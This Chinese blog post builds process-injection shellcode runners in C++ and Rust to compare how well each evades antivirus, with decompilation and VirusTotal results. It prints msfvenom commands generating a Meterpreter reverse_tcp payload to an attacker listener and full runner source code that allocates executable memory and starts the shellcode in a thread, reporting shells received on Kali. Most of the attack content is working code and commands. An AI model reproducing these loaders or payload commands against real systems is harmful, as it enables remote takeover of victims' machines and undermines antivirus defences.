写在最前

如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里:

https://discord.gg/9XvvuFq9Wb

我会提供备考过程中尽可能多的帮助,并分享学习和实践过程中的资源和心得,大家一起进步,一起 NB~


背景

最近看到挺多关于 Rust 武器化的文章。就着这篇最近发布的,想着动手实验一下,看下 Rust 是否在 Malware 编写方面会比 C/C++ 更有优势。

本文将分别使用 C++ 和 Rust 分别编译进程注入的 shellcode runner。然后到 Dogbolt 反编译两个 PE 文件,看一下反编译的结果。最后,我们看一下 VirusTotal 对于两个文件的检测,对比一下目前为止哪个语言的免杀效果相对优秀(由于是 shellcode runner 实属裸奔,没用任何绕过技巧,被查杀是肯定的)。

为什么选择 Rust

这里是 Rust 语言的一些特性。

  1. Rust 速度快,跟 C/C++ 不相上下;
  2. Rust 拥有优秀的依赖解决方案,cargo;
  3. Rust 基于 LLVM,内部的复杂性有利于其躲避防御机制的检测;
  4. Rust 拥有活跃的社区支持,因此,各种问题基本都能得到解决;
  5. Rust 跨平台;

正是因为这些特性,Rust 被武器化,在网络安全进攻端,展现出了一定的实力。

测试环境

Windows

shellcode runner 的编译和执行在一台 Win10 x64 机器上进行。

C++ 编译使用 Visual Studio 2022。

Rust 使用官网最新版本 cargo。

Linux

另一台 Kali Linux 机器,作 shellcode 生成和 shell 接收。

Rust vs C++

进入正题,分别使用 C++ 和 Rust 编译两个 PE 文件。保证两个文件都能成功拿到目标的 shell。为后续反编译查找 WinAPI 调用痕迹做个铺垫。

C++ Process Injection Shellcode Runner

创建一个 C++ 工程。

生成一份 shellcode。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.195 LPORT=443 -f c

复制 shellcode 到代码。

代码常规套路,四步走,分配内存,拷贝 shellcode,设置内存可执行,创建线程并执行。

#include <windows.h>int main(void) {LPVOID lpAddress;HANDLE tHandle;DWORD oldProtect = 0;unsigned char payload[] = {  shellcode_here };SIZE_T payload_size = sizeof(payload);lpAddress = VirtualAlloc(0, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);RtlMoveMemory(lpAddress, payload, payload_size);if (VirtualProtect(lpAddress, payload_size, PAGE_EXECUTE_READ, &oldProtect)){tHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpAddress, 0, 0, 0);WaitForSingleObject(tHandle, (DWORD)-1);}return 0;
}

注意这里要使用 Release 编译。

编译之后执行。

Kali 拿到 shell。

接下来编译一个 Rust 版本的,代码逻辑一致。

Rust Process Injection Shellcode Runner

Rust 需安装。官网下载安装包 安装即可。

第一次接触 Rust,给出一下编译步骤。

首先在当前文件夹下创建一个 Rust 工程。

cargo new shell_rust

接着生成一段 shellcode。用 csharp 格式的就行。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.195 LPORT=443 -f csharp

然后进入工程中的 src 文件夹,编辑 main.rs 文件,使用如下代码,使用生成的 shellcode。

use winapi::um::winnt::{PVOID,MEM_COMMIT,MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};
use std::ptr;
use winapi::um::errhandlingapi;
use winapi::um::processthreadsapi;
use winapi::um::winbase;
use winapi::um::synchapi::WaitForSingleObject;
use std::process;type DWORD = u32;//Thanks to @trickster0 for sharing this code https://github.com/trickster0/OffensiveRustfn main(){create_thread()
}fn create_thread() {let payload: [u8;shellcode_length_here] = [ shellcode_here ];// allocate base addr as RWunsafe{let base_addr = kernel32::VirtualAlloc(ptr::null_mut(),payload.len().try_into().unwrap(),MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);if base_addr.is_null() { println!("[-] Couldn't allocate memory to current proc.")}std::ptr::copy(payload.as_ptr() as  _, base_addr, payload.len());let mut old_protect: DWORD = PAGE_READWRITE;let mem_protect = kernel32::VirtualProtect (base_addr,payload.len() as u64,PAGE_EXECUTE_READ,&mut old_protect);if mem_protect == 0 {let error = errhandlingapi::GetLastError();println!("[-] Error: {}", error.to_string());process::exit(0x0100);}let mut tid = 0;let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) };let h_thread = processthreadsapi::CreateThread(ptr::null_mut(),0,Some(ep),ptr::null_mut(),0,&mut tid);if h_thread.is_null() {let error = errhandlingapi::GetLastError();println!("{}", error.to_string())}let status = WaitForSingleObject(h_thread, winbase::INFINITE);if status != 0 {let error = errhandlingapi::GetLastError();println!("{}", error.to_string())}}
}

添加依赖。

cargo add winapi kernel32-sys

查看 Cargo.toml 文件如下。

不过此时编译还是会报错。

还得增加 winapi 下的 features 才能正常编译。

再次编译 Release 版本。

cargo build --release

编译成功。

shell_rust/target/release 文件夹下找到 exe 文件。

运行。

Kali 拿到 shell。

至此,两个 shellcode runner 编译完成。

反编译比较

将两个文件都丢到 Dogbolt 上用多个反编译器进行反编译。

C++ Decompile

C++ 经过反编译得到了至多 1453 行代码(Ghidra)。

并且每一个反编译器都准确反编译出了四个重点查杀的 WinAPI。

VirtualAlloc

VirtualProtect

CreateThread

WaitForSingleObject

接下来看下 Rust 的表现。

Rust Decompile

但从编译时间的角度来看,有两个反编译器都显示反编译超时。BinaryNinja 和 Hex-Rays 反编译出了 20K+ 行代码。

再查找一下敏感 API,还是可以被找到。这里与原文有些不符。原文指出,只有在 Binary-Ninja 反编译之后才能看到敏感 API 的调用。

VT 查杀结果

Rust 结果 18/62。

C++ 结果 28/62。

总结

目前为止,裸奔 Rust Payload 比 C++ 表现优异那么一些。在实践过程中发生的与原文的偏差。我认为可能是我编译 Rust 的过程有问题。原文作者没有指出编译细节。这个还需要继续深入挖掘一下。

参考链接

  • https://steve-s.gitbook.io/0xtriboulet/ttps/ttps-rust-vs-c++
  • https://doc.rust-lang.org/book/ch01-03-hello-cargo.html
  • https://github.com/trickster0/OffensiveRust
  • https://doc.rust-lang.org/cargo/guide/dependencies.html
  • https://doc.rust-lang.org/cargo/reference/profiles.html#opt-level
  • https://doc.rust-lang.org/cargo/reference/config.html#buildrustc
  • https://www.secureideas.com/blog/how-to-obfuscate-strings-in-rust-the-easy-way-using-the-litcrypt-crate

Malware Dev 00 - Rust vs C++ 初探相关推荐

  1. Malware Dev 01 - 免杀之 PPID Spoofing 原理解析

    写在最前 如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay.邀请链接在这里: https://discord.gg/9Xv ...

  2. Malware Dev 02 - Windows SDDL 后门利用之 SCManager

    写在最前 如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay.邀请链接在这里: https://discord.gg/9Xv ...

  3. Linux环境无文件渗透执行ELF:memfd_create、ptrace

    <GDB调试之ptrace实现原理> <C语言程序调用栈:backtrace+backtrace_symbols+backtrace_symbols_fd> <strac ...

  4. 如何在5美元的Raspberry Pi上构建个人开发服务器

    In this article, you'll learn how to build a personal dev server by installing Git, Node.js, Rust, a ...

  5. “【第二届】Erlang Fans交流会”议程

    http://erlang-china.org/news/erlang-fans-fair-schedule.html [第一场:2007-10-13 上午] 10:00 签到(请填写个人资料或提供名 ...

  6. Bash:字符串操作

    参考:http://blog.csdn.net/finewings/article/details/5718133 字符串提取 去掉指定前缀 1. ${varible#pattern}         ...

  7. 利用ptrace和memfd_create混淆程序名和参数

    <GDB调试之ptrace实现原理> <C语言程序调用栈:backtrace+backtrace_symbols+backtrace_symbols_fd> <strac ...

  8. 从现在,看未来---Linux Kernel 未来发展方向

    近日,Thorsten Leemhuis公布了Linux Kernel Maintainer's Summit 2022的行程.参会人员和演讲Topic,峰会将于2022年9月15日在Clayton ...

  9. Shell | 实用命令不完全总结

    本文不完全总结实用的 shell 命令 1. Updated: 2022 / 11 / 17 Shell | 实用命令不完全总结 uname 概念 用法 示例 ios Ubuntu dmesg 概念 ...

最新文章

  1. 我学Delphi心得与笔记-------在控件上如何禁用Ctrl+V
  2. 样式文件修改后不起作用_Word样式,这个功能好用到让你忘不了!
  3. SSM中jsp向后台Controller传值中文乱码的奇葩解决!!!
  4. java中鼠标事件_java中检测鼠标事件动作
  5. 基于Asp.Net Core打造轻量级内部服务治理RPC(二 远程服务设计)
  6. 数据这么多,且看R语言怎么处理!
  7. ios 跨域_如何在iOS和Android中建立跨域通信桥
  8. ruby编程API阅读之BasicObject阅读
  9. 10-10-009-简介-常用Message Queue对比
  10. 记录一次和朋友聊天遇到的面试题 ip地址字符串和long类型的相互转换 都是参考了别人的代码 加了一些个人理解的总结
  11. 为什么女人喜欢有钱的男人?
  12. spss多元线性回归散点图_案例分析 | 多元线性回归及SPSS操作
  13. 被中国人误传了数千年的七句话
  14. Cause: java.sql.SQLException: Connection is read-only. Queries leading to data使用MySQL的时候遇到的问题,后续继续解决
  15. C语言rf,C89:关键字 - osc_fdjrfnux的个人空间 - OSCHINA - 中文开源技术交流社区
  16. E49AL刷BIOS
  17. Android架构师绩效考核表,半年绩效考核总结(7.9)
  18. PAT乙级1068 万绿丛中一点红(测试点3、测试点5)
  19. 控制台调出Servers
  20. 爱奇艺、腾讯、优酷同日宣布:全面取消超前点播

热门文章

  1. 修改Ubuntu国内镜像源地址
  2. PHPYUN短信发送设置流程
  3. 路由器交换机:机试练习
  4. GGS校园超市购物系统
  5. Python -- 让程序运行后不立即关闭窗口
  6. 联合高斯分布(Joint Gaussian)的推导
  7. 计算机二级准考证解压缩失败 文件损坏,文件解压失败与压缩文件文件已经损坏的解决办法...
  8. 禁用计算机桌面方法,win7禁用自动显示桌面功能的方法
  9. Mario城堡历险记【BFS】
  10. 自学编程 10000 小时